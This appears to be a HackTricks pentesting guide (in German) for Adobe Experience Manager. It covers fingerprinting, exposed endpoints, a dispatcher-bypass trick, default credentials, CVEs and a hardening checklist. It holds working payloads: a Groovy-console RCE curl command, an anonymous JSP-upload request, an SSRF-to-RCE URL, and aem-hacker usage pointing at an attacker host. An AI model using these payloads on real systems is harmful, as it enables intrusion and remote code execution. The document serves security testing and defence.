AEM (Adobe Experience Manager) Pentesting

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Adobe Experience Manager (AEM, Teil der Adobe Experience Cloud) ist ein Unternehmens-CMS, das auf Apache Sling/Felix (OSGi) und einem Java Content Repository (JCR) basiert. Aus der Perspektive eines Angreifers exponieren AEM-Instanzen sehr oft gefährliche Entwicklungsendpunkte, schwache Dispatcher-Regeln, Standardanmeldeinformationen und eine lange Liste von CVEs, die jedes Quartal gepatcht werden.

Die folgende Checkliste konzentriert sich auf extern erreichbare (unauth) Angriffsflächen, die in realen Engagements immer wieder auftauchen (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Andere schnelle Indikatoren:

  • /etc.clientlibs/ statischer Pfad vorhanden (gibt JS/CSS zurück).
  • /libs/granite/core/content/login.html Anmeldeseite mit dem Banner „Adobe Experience Manager“.
  • </script><!--/* CQ */--> Kommentar am Ende des HTML.

2. Hochwertige nicht authentifizierte Endpunkte

PfadWas Sie erhaltenAnmerkungen
/.json, /.1.jsonJCR-Knoten über DefaultGetServletOft blockiert, aber Dispatcher-Bypass (siehe unten) funktioniert.
/bin/querybuilder.json?path=/QueryBuilder APILeak des Seitenbaums, interner Pfade, Benutzernamen.
/system/console/status-*, /system/console/bundlesOSGi/Felix-KonsoleStandardmäßig 403; wenn exponiert & Anmeldeinformationen gefunden ⇒ Bundle-Upload RCE.
/crx/packmgr/index.jspPaketmanagerErmöglicht authentifizierte Inhalts-Pakete → JSP-Payload-Upload.
/etc/groovyconsole/**AEM Groovy-KonsoleWenn exponiert → beliebige Groovy / Java-Ausführung.
/libs/cq/AuditlogSearchServlet.jsonAudit-ProtokolleInformationsoffenlegung.
/libs/cq/ui/content/dumplibs.htmlClientLibs-DumpXSS-Vektor.

Dispatcher-Bypass-Trick

Die meisten Produktionsseiten befinden sich hinter dem Dispatcher (Reverse-Proxy). Seine Filterregeln können umgangen werden, indem eine erlaubte statische Erweiterung nach einem Semikolon oder kodierten Zeilenumbruch angehängt wird:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Eine einzelne Anfrage wie oben offenbart häufig Benutzerprofilknoten mit E-Mail-Adressen. P-T Partners veröffentlichte gute Hinweise zu dieser Schwachstelle. 【】


3. Häufige Fehlkonfigurationen (immer noch aktiv im Jahr 2025)

  1. Anonymer POST-ServletPOST /.json mit :operation=import ermöglicht es, neue JCR-Knoten zu erstellen. Das Blockieren von *.json POST im Dispatcher behebt das Problem. 【】
  2. Weltweit lesbare Benutzerprofile – Standard-ACL gewährt jcr:read auf /home/users/**/profile/* für alle.
  3. Standardanmeldeinformationenadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter aktiviert ⇒ reflektiertes XSS über ?debug=layout (CVE-2016-7882, immer noch bei Legacy 6.4-Installationen gefunden).
  5. Groovy-Konsole exponiert – Remote-Code-Ausführung durch das Senden eines Groovy-Skripts:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Jüngste Schwachstellen (Service-Pack-Taktung)

QuartalCVEBetroffenAuswirkung
Dez 2024CVE-2024-437116.5.21 und früherUnzureichende Eingangsvalidierung → Willkürliche Codeausführung (benötigt Authentifizierung mit niedrigen Rechten). 【】
Dez 2024CVE-2024-43724/266.5.21 und früherDOM / Stored XSS im Move Page Wizard. 【】
Dez 2023CVE-2023-48452/68≤ 6.5.18DOM-basiertes XSS über eine gestaltete URL. 【】
Dez 2022CVE-2022-30683≤ 6.5.13Krypto-Designfehler → geheime Entschlüsselung (benötigt Anmeldeinformationen mit niedrigen Rechten). 【】

Überprüfen Sie immer das APSB-Bulletin, das dem Service-Pack des Kunden entspricht, und fordern Sie das neueste 6.5.22 oder Cloud Service 2024.11 an.


5. Ausnutzungs-Snippets

5.1 RCE über Dispatcher-Bypass + JSP-Upload

Wenn anonymes Schreiben möglich ist:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Jetzt anfordern /content/evil.jsp – das JSP läuft mit dem AEM-Prozessbenutzer.

5.2 SSRF zu RCE (historisch < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py von aem-hacker automatisiert die gesamte Kette. 【】


6. Tooling

  • aem-hacker – Schweizer Taschenmesser für die Enumeration, unterstützt Dispatcher-Bypass, SSRF-Erkennung, Standard-Credentials-Überprüfungen und mehr.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – rekursiv /_jcr_content.(json|html) anfordern, um versteckte Komponenten zu entdecken.
  • osgi-infect – bösartiges OSGi-Bundle über /system/console/bundles hochladen, wenn Credentials verfügbar sind.

7. Hardening-Checkliste (für die Empfehlungen Ihres Berichts)

  1. Halten Sie die Instanz auf dem neueste kumulative Servicepack (Stand Juli 2025: 6.5.22).
  2. Entfernen/rotieren Sie Standardkonten; erzwingen Sie SSO/SAML.
  3. Verschärfen Sie die Dispatcher-Filter – verweigern Sie ;, kodierte Zeilenumbrüche und *.json oder *.querybuilder.json für anonyme Benutzer.
  4. Deaktivieren oder schützen Sie Konsolen (/system/console, /crx/*, /etc/groovyconsole) mit IP-Whitelist.
  5. Wenden Sie das Anonymous Permission Hardening-Paket an, das von Adobe bereitgestellt wird.

References

  • Adobe Security Bulletin APSB24-69 – „Sicherheitsupdates für Adobe Experience Manager (Dez 2024)“.
  • 0ang3el – aem-hacker Tool (GitHub).

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks